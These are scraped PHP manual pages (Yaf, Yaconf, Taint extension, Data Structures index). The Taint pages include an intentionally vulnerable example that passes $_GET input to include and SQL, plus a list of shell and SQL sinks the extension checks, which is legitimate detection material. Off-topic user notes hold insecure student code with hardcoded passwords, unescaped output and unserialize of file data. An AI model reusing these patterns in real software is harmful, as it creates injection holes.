Yaf_Session::offsetGet — The offsetGet purpose

说明

public Yaf_Session::offsetGet(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • ? Yaf_Session::offsetGet
  • Yaf_Session::offsetUnset ?
  • PHP Manual
  • Yaf_Session
  • The offsetSet purpose

Yaf_Session::offsetSet

(Yaf >=1.0.0)

Yaf_Session::offsetSet — The offsetSet purpose

说明

public Yaf_Session::offsetSet(string $name, string $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • ? Yaf_Session::offsetSet
  • Yaf_Session::rewind ?
  • PHP Manual
  • Yaf_Session
  • The offsetUnset purpose

Yaf_Session::offsetUnset

(Yaf >=1.0.0)

Yaf_Session::offsetUnset — The offsetUnset purpose

说明

public Yaf_Session::offsetUnset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • ? Yaf_Session::offsetUnset
  • Yaf_Session::__set ?
  • PHP Manual
  • Yaf_Session
  • The rewind purpose

Yaf_Session::rewind

(Yaf >=1.0.0)

Yaf_Session::rewind — The rewind purpose

说明

public Yaf_Session::rewind(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • ? Yaf_Session::rewind
  • Yaf_Session::start ?
  • PHP Manual
  • Yaf_Session
  • The __set purpose

Yaf_Session::__set

(Yaf >=1.0.0)

Yaf_Session::__set — The __set purpose

说明

public Yaf_Session::__set(string $name, string $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


The start purpose

  • ? Yaf_Session::__set
  • Yaf_Session::__unset ?
  • PHP Manual
  • Yaf_Session
  • The start purpose

Yaf_Session::start

(Yaf >=1.0.0)

Yaf_Session::start — The start purpose

说明

public Yaf_Session::start(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __unset purpose

  • ? Yaf_Session::start
  • Yaf_Session::valid ?
  • PHP Manual
  • Yaf_Session
  • The __unset purpose

Yaf_Session::__unset

(Yaf >=1.0.0)

Yaf_Session::__unset — The __unset purpose

说明

public Yaf_Session::__unset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • ? Yaf_Session::__unset
  • Yaf_Exception ?
  • PHP Manual
  • Yaf_Session
  • The valid purpose

Yaf_Session::valid

(Yaf >=1.0.0)

Yaf_Session::valid — The valid purpose

说明

public Yaf_Session::valid(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct()
public getPrevious(): void
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Table of Contents

  • Yaf_Exception::__construct — The __construct purpose
  • Yaf_Exception::getPrevious — The getPrevious purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ? Yaf_Exception
  • Yaf_Exception::getPrevious ?
  • PHP Manual
  • Yaf_Exception
  • The __construct purpose

Yaf_Exception::__construct

(Yaf >=1.0.0)

Yaf_Exception::__construct — The __construct purpose

说明

public Yaf_Exception::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getPrevious purpose

  • ? Yaf_Exception::__construct
  • Yaf_Exception_TypeError ?
  • PHP Manual
  • Yaf_Exception
  • The getPrevious purpose

Yaf_Exception::getPrevious

(Yaf >=1.0.0)

Yaf_Exception::getPrevious — The getPrevious purpose

说明

public Yaf_Exception::getPrevious(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_TypeError 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_TypeError extends Yaf_Exception {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_StartupError 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_StartupError extends Yaf_Exception {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_DispatchFailed 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_DispatchFailed extends Yaf_Exception {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_RouterFailed 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_RouterFailed extends Yaf_Exception {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_LoadFailed extends Yaf_Exception {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Module 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_LoadFailed_Module extends Yaf_Exception_LoadFailed {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Controller 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_LoadFailed_Controller extends Yaf_Exception_LoadFailed {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Action 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_LoadFailed_Action extends Yaf_Exception_LoadFailed {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_View 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Exception_LoadFailed_View extends Yaf_Exception_LoadFailed {
/* 属性 */
/* 方法 */
/* 继承的方法 */
public Yaf_Exception::getPrevious(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaconf

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Yaconf — The Yaconf class
    • Yaconf::get — Retrieve a item
    • Yaconf::has — Determine if a item exists

User Contributed Notes

There are no user contributed notes for this page.


简介

Yet Another Configurations Container (Yaconf) is a configurations container, it parses INI files, and store the result in PHP when PHP is started, the result lives with the whole PHP lifecycle.

Yaconf stores all configurations as interned string or immutable array, which means they are not refcounted-able, thus when you retrieving configurations from yaconf, it could be considered as zero-copy, very fast.

Yaconf supports sections and sections inheritance in INI files. if PHP is built as non-ZTS build, Yaconf also supports automatically reloading after INI files are changed.

Yaconf requires PHP 7.0 or greater.

Example #1 INI example

;simple key val
key=val
;hash
hash.a=val
;array
arr.0=val
;or
arr[]=val
;use PHP constants
version=PHP_VERSION
;use environment
env=${PATH}

Example #2 INI sections example

[SectionA]
key=val
hash.a=val

;SectionB inherits SectionA
[SectionB:SectionA]
;override configuration key in SectionA
key=new_val

User Contributed Notes

There are no user contributed notes for this page.


需求

Yaconf requires PHP 7.0 and above.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yaconf.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yaconf 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yaconf.check_delay | 300 | PHP_INI_SYSTEM |
yaconf.directory | /tmp/conf/ | PHP_INI_SYSTEM |

这是配置指令的简短说明。

yaconf.check_delay int

In which interval Yaconf will detect ini file's change(by directory's mtime), if it is set to zero, you have to restart php to reloading configurations.

yaconf.directory string

Path to directory which all INI configuration files are placed in.

User Contributed Notes

There are no user contributed notes for this page.


The Yaconf class

(PECL yaconf >= 1.0.0)

简介

Yaconf is a configurations container, it parses INIT files, stores the result in PHP when PHP is started, the result lives with the whole PHP lifecycle.

类摘要

class Yaconf {
/* 方法 */
public static get(string $name, mixed $default_value = NULL): mixed
public static has(string $name): bool
}

Table of Contents

  • Yaconf::get — Retrieve a item
  • Yaconf::has — Determine if a item exists

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a item

  • ? Yaconf
  • Yaconf::has ?
  • PHP Manual
  • Yaconf
  • Retrieve a item

Yaconf::get

(PECL yaconf >= 1.0.0)

Yaconf::get — Retrieve a item

说明

public static Yaconf::get(string $name, mixed $default_value = NULL): mixed

参数

name

Configuration key, the key looks like "filename.key", or "filename.sectionName,key".

default_value

if the key doesn't exists, Yaconf::get will return this as result.

返回值

Returns configuration result(string or array) if the key exists, return default_value if not.

示例

Example #1 INI()example

;filenmame foo.ini, placed in directory which is yaconf.directoy
[SectionA]
;key value pair
key=val
;hash[a]=val
hash.a=val
;arr[0]=val
arr.0=val
;or
arr[]=val

;SectionB inherits SectionA
[SectionB:SectionA]
;override configuration key in SectionA
key=new_val

以上示例的输出类似于：

php7 -r 'var_dump(Yaconf::get("foo.SectionA.key"));'
//string(3) "val"

php7 -r 'var_dump(Yaconf::get("foo.SectionB.key"));'
//string(7) "new_val"

php7 -r 'var_dump(Yaconf::get("foo")["SectionA"]["hash"]);'
//array(1)

User Contributed Notes

There are no user contributed notes for this page.


Determine if a item exists

  • ? Yaconf::get
  • Taint ?
  • PHP Manual
  • Yaconf
  • Determine if a item exists

Yaconf::has

(PECL yaconf >= 1.0.0)

Yaconf::has — Determine if a item exists

说明

public static Yaconf::has(string $name): bool

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


Taint

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • More Details
    • Functions and Statements which will spread the tainted mark of a tainted string
    • Functions and statements which will check tainted string
    • Functions which untaint the tainted string
  • Taint 函数
    • is_tainted — Checks whether a string is tainted
    • taint — Taint a string
    • untaint — Untaint strings

User Contributed Notes

dewi at dewimorgan dot com 17-Nov-2017 04:58
Latest compatibility info is available at the pecl page - https://pecl.php.net/package/taint shows that latest compatibility is 7+, and a windows DLL is available.
ray at rayxis dot com 07-Aug-2015 06:06
According to PECL "pecl/taint requires PHP (version >= 5.2.0, version <= 5.4.99)"


简介

Taint is an extension, which is used for detecting XSS codes(tainted string). And also can be used to spot sql injection vulnerabilities, and shell inject, etc.

When taint is enabled, if you pass a tainted string (comes from $_GET, $_POST or $_COOKIE) to some functions, taint will warn you about that.

Example #1 Taint()example

<?php
$a = trim($_GET['a']);

$file_name = '/tmp' . $a;
$output = "Welcome, {$a} !!!";
$var = "output";
$sql = "Select * from " . $a;
$sql .= "ooxx";

echo $output;

print $$var;

include $file_name;

mysql_query($sql);
?>

以上示例的输出类似于：

Warning: main() [function.echo]: Attempt to echo a string that might be tainted

Warning: main() [function.echo]: Attempt to print a string that might be tainted

Warning: include() [function.include]: File path contains data that might be tainted

Warning: mysql_query() [function.mysql-query]: SQL statement contains data that might be tainted

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/taint.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Taint 配置选项
名字 | 默认 | 可修改范围 | 更新日志
taint.enable | 0 | PHP_INI_SYSTEM |
taint.error_level | E_WARNING | PHP_INI_ALL |

这是配置指令的简短说明。

taint.enable int

Whether enable the taint.

taint.error_level int

the error type which taint will report as when taint find a tainted string.

User Contributed Notes

There are no user contributed notes for this page.


More Details

Table of Contents

  • Functions and Statements which will spread the tainted mark of a tainted string
  • Functions and statements which will check tainted string
  • Functions which untaint the tainted string

User Contributed Notes

There are no user contributed notes for this page.


Functions and Statements which will spread the tainted mark of a tainted string

Function/Statement | Since
= (assign) | 0.1.0
. (concat) | 0.1.0
"{$var}" (variable substitution) | 0.1.0
.= (assign concat) | 0.1.0
strval | 0.3.0
explode/split | 0.3.0
implode/join | 0.3.0
sprintf | 0.3.0
vsprintf | 0.3.0
trim | 0.4.0
rtrim | 0.4.0
ltrim | 0.4.0
strstr | 0.5.0
str_pad | 0.5.0
str_replace | 0.5.0
substr | 0.5.0
strtolower | 0.5.0
strtoupper | 0.5.0

User Contributed Notes

There are no user contributed notes for this page.


Functions and statements which will check tainted string

Function/Statement | Since
Basic statments
eval | 0.1.0
include/include_once | 0.1.0
require/require_once | 0.1.0
Outputing Functions
echo | 0.1.0
print | 0.1.0
printf | 0.1.0
file_put_contents | 0.1.0
File System Functions
fopen | 0.2.0
opendir | 0.2.0
basename | 0.2.0
dirname | 0.2.0
file | 0.2.0
pathinfo | 0.2.0
Database relevant Functions
mysql_query | 0.2.0
mysqli_query/MySQLi::query | 0.2.0
sqlite_query/SqliteDataBase::query | 0.3.0
sqlite_single_query/SqliteDataBase::singleQuery | 0.3.0
oci_parse | 0.3.0
PDO::query | 0.3.0
PDO::prepare | 0.3.0
SQLite3::query | 2.0.1
SQLite3::prepare | 2.0.1
Command Line relevant Functions
system | 0.1.0
exec | 0.1.0
proc_open | 0.1.0
passthru | 0.1.0
shell_exec | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Functions which untaint the tainted string

Function | Since
addslashes | 0.1.0
addcslashes | 0.1.0
htmlspecialchars | 0.1.0
htmlentities | 0.1.0
escapeshellcmd | 0.1.0
mysql_escape_string | 0.1.0
mysql_real_escape_string | 0.1.0
mysqli_escape_string/MySQLi::escape_string | 0.1.0
mysqli_real_escape_string/MySQLi::real_escape_string | 0.1.0
sqlite_escape_string/SqliteDataBase::escapeString | 0.3.0
PDO::quote | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Taint 函数

Table of Contents

  • is_tainted — Checks whether a string is tainted
  • taint — Taint a string
  • untaint — Untaint strings

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a string is tainted

  • ? Taint 函数
  • taint ?
  • PHP Manual
  • Taint 函数
  • Checks whether a string is tainted

is_tainted

(PECL taint >=0.1.0)

is_tainted — Checks whether a string is tainted

说明

is_tainted(string $string): bool

Checks whether a string is tainted

参数

string

返回值

Return TRUE if the string is tainted, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Taint a string

  • ? is_tainted
  • untaint ?
  • PHP Manual
  • Taint 函数
  • Taint a string

taint

(PECL taint >=0.1.0)

taint — Taint a string

说明

taint(string &$string, string ...$strings): bool

Make a string tainted. This is used for testing purpose only.

参数

string

strings

返回值

Return TRUE if the transformation is done. Always return TRUE if the taint extension is not enabled.

User Contributed Notes

else_2do at gmail dot com 07-Mar-2021 09:36
<?php

class nave {
    private $nome;
    private $prezoDiario;
    private $alugado;
    private $nomeImaxe;

    function __construct($nome,$prezoDiario,$nomeImaxe){
        $this->nome=$nome;
        $this->prezoDiario=$prezoDiario;
        $this->alugado="no";
        $this->nomeImaxe=$nomeImaxe;
    }
    function getNome(){
        return $this->nome;
    }
    function getPrezodiario(){
        return $this->prezoDiario;
    }
    function getAlugado(){
        return $this->alugado;
    }
    function getNomeimaxe(){
        return $this->nomeImaxe;
    }
    function alugar(){
        return $this->alugado="si";
    }
    function desalugar(){
        $this->alugado="no";
    }
}

?>
primerito_carlos at gmail dot com 07-Mar-2021 09:26
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <form method="GET" action="opcions.php">
        <p>Usuario</p>
        <input type="text" name="usu"><br>
        <p>Contrase?a</p>
        <input type="password" name="con"><br>
        <input type="submit" name="enviar" value="Enviar">
    </form>
</body>
</html>
<?php
@session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
    <title></title>
</head>
<body>
<?php
$usu=$_GET["usu"];
$con=$_GET["con"];
if (($usu=="Xan" && $con=="abc123.") OR ($usu=="Ana" && $con=="abc123.")){
    $SESSION["usu"]=$usu;
    echo "Usuario correcto<br>";
    $conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
    if ($conexion != FALSE) {
        echo "Conexion a BD establecida";

    echo "<form method='GET' action='lista.php'><br>
        <input type='submit' name='completo' value='Listar todos os discos'>
        <input type='submit' name='orden_titulo' value='Listar por titulo'>
        <input type='submit' name='orden_autor' value='Listar por autor'>
        <select name='Autor'>
            <option>Beatles</option>
            <option>Rolling</option>
            <option>xxx</option>
            <input type='submit' name='Enviar'>
        </select>
        </form>";
        if($usu=="Ana"){
            echo "<br>
            <input type='submit'name='engadir' value='Engadir rexistro'>
            <input type='submit'name='editar' value='Editar rexistro'>
            <input type='submit'name='eliminar' value='Eliminar rexistro'>
            </form>";
        }
    }
}else{
    echo "Usuario erroneo";
}
echo "<form method='GET' action='login.php'>
        <input type='submit' name='volver' value='Volver al login'";
?>
</body>
</html>
--------------
<article id="contenedor">
<?php
$conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
if ($conexion) {
    if (isset($_GET['completo'])) {
        $consulta="SELECT * FROM tema";
    }
    elseif (isset($_GET['orden_titulo'])) {
        $consulta="SELECT * FROM tema ORDER BY Titulo";
    }
    elseif (isset($_GET['orden_autor'])) {
    $consulta="SELECT * FROM tema ORDER BY Autor";
    }
    elseif (isset($_GET['Autor'])) {
        if ($_GET['Autor']=="The Beatles") {
            $consulta="SELECT * FROM tema WHERE Autor='The Beatles'";
        }
    }
    $resultado=mysqli_query($conexion,$consulta);
    if ($resultado!=FALSE) {
        while ($fila=mysqli_fetch_array($resultado)) {
            echo "<div class='produto'><img src='imaxes/$fila[Imaxe].jpg'><br>$fila[Titulo]><br>$fila[Autor]<br>$fila[Ano]<br></div>";
        }
    }
    echo "<form method='GET' action='opcions.php'>
        <input type='submit' value='volver'/>";
?>
</article>
}
?>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:32
if (isset($_GET['aluga'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $dias=$_GET['dias'];
               $_SESSION['flota'][$indice]->aluga($dias);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getDiasAlugado() > 1 ){
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." foi alugado durante ".$vehiculo->getDiasAlugado()." días <br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
            }
        }
    }
    if (isset($_GET['desalugar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $kms=$_GET['kms'];
               $_SESSION['flota'][$indice]->devolveAlugado($kms);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($_GET['mat'])
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." terminou o período de alugamento con un total de ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['garda'])) {
        $fich=fopen('flota.txt',"w");
        $XD=serialize($_SESSION['flota']);
        fwrite($fich,$XD);
        fclose($fich);
    }
    if (isset($_GET['ler'])) {
        $fich=fopen('flota.txt',"r");
        $lerarray=fread($fich,filesize('flota.txt'));
        $_SESSION['flota']=unserialize($lerarray);
        foreach ($_SESSION['flota'] as $key => $coche) {
            echo "Matrícula: ".$coche->getMatricula()."<br>Modelo: ".$coche->getModelo()."<br>KMS: ".$coche->getKms()." km <br>";
        }
        fclose($fich);

    }
    if (isset($_GET['del'])) {
        unset($_SESSION['flota']);
        session_destroy();
    }
 ?>
</body>
</html>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e saír'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehículos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e saír'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehículos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehículo ".$vehiculo->getModelo()." con matrícula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
Anonymous 13-Dec-2020 05:58
The answer of your question is:

<?php
    session_start();
session_destroy();
?>
<meta charset="UTF-8">
<html>
<form method="GET" action="datos.php">
<?php
   if(isset($_GET['usuario'])){
    if(strcmp("ana",$_GET['usuario'])==0){
        if(strcmp("abc123.",$_GET['contrase?a'])==0){
        $_SESSION['usuario']=$_GET['usuario'];
        }
        else{
         echo"
            <script>
                alert ('Usuario o contrase?a incorrectos');
                window.location='login.php';
            </script>"
        ;}
    }

       if(strcmp("xan",$_GET['usuario'])==0){
           if(strcmp("abc123.",$_GET['contrase?a'])==0){
         $_SESSION['usuario']=$_GET['usuario'];
       }
        else{
            echo"
                <script>
                    alert ('Usuario o contrase?a incorrectos');
                    window.location='login.php';
                </script>"
        ;}
        }

    }

    if(isset($_SESSION['usuario'])){
        //lo que se muestra na la pagina.
      $conexion=mysqli_connect("localhost","root","","folla14")or die(mysqli_error());

    if($conexion){
        mysqli_set_charset($conexion,"UTF8");
        echo "
            <input type='submit' value='Lista completa' name='listac'>
            "
        ;}
    }
     else{
         echo"
         <script>
        alert ('Usuario o contrase?a incorrectos');
        window.location='login.php';
         </script>";
     }

?>


Untaint strings

  • ? taint
  • Data Structures ?
  • PHP Manual
  • Taint 函数
  • Untaint strings

untaint

(PECL taint >=0.1.0)

untaint — Untaint strings

说明

untaint(string &$string, string ...$strings): bool

Untaint strings

参数

string

strings

返回值

User Contributed Notes

There are no user contributed notes for this page.


Data Structures

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • 预定义常量
  • 示例
  • Ds\Collection — The Collection interface
    • Ds\Collection::clear — Removes all values
    • Ds\Collection::copy — Returns a shallow copy of the collection
    • Ds\Collection::isEmpty — Returns whether the collection is empty
    • Ds\Collection::toArray — Converts the collection to an array
  • Ds\Hashable — The Hashable interface
    • Ds\Hashable::equals — Determines whether an object is equal to the current instance
    • Ds\Hashable::hash — Returns a scalar value to be used as a hash value
  • Ds\Sequence — The Sequence interface
    • Ds\Sequence::allocate — Allocates enough memory for a required capacity
    • Ds\Sequence::apply — Updates all values by applying a callback function to each value
    • Ds\Sequence::capacity — Returns the current capacity
    • Ds\Sequence::contains — Determines if the sequence contains given values
    • Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include
    • Ds\Sequence::find — Attempts to find a value's index
    • Ds\Sequence::first — Returns the first value in the sequence
    • Ds\Sequence::get — Returns the value at a given index
    • Ds\Sequence::insert — Inserts values at a given index
    • Ds\Sequence::join — Joins all values together as a string
    • Ds\Sequence::last — Returns the last value
    • Ds\Sequence::map — Returns the result of applying a callback to each value
    • Ds\Sequence::merge — Returns the result of adding all given values to the sequence
    • Ds\Sequence::pop — Removes and returns the last value
    • Ds\Sequence::push — Adds values to the end of the sequence
    • Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function
    • Ds\Sequence::remove — Removes and returns a value by index
    • Ds\Sequence::reverse — Reverses the sequence in-place
    • Ds\Sequence::reversed — Returns a reversed copy
    • Ds\Sequence::rotate — Rotates the sequence by a given number of rotations
    • Ds\Sequence::set — Updates a value at a given index
    • Ds\Sequence::shift — Removes and returns the first value
    • Ds\Sequence::slice — Returns a sub-sequence of a given range
    • Ds\Sequence::sort — Sorts the sequence in-place
    • Ds\Sequence::sorted — Returns a sorted copy
    • Ds\Sequence::sum — Returns the sum of all values in the sequence
    • Ds\Sequence::unshift — Adds values to the front of the sequence
  • Ds\Vector — The Vector class
    • Ds\Vector::allocate — Allocates enough memory for a required capacity
    • Ds\Vector::apply — Updates all values by applying a callback function to each value
    • Ds\Vector::capacity — Returns the current capacity
    • Ds\Vector::clear — Removes all values
    • Ds\Vector::__construct — Creates a new instance
    • Ds\Vector::contains — Determines if the vector contains given values
    • Ds\Vector::copy — Returns a shallow copy of the vector
    • Ds\Vector::count — Returns the number of values in the collection
    • Ds\Vector::filter — Creates a new vector using a callable to determine which values to include
    • Ds\Vector::find — Attempts to find a value's index
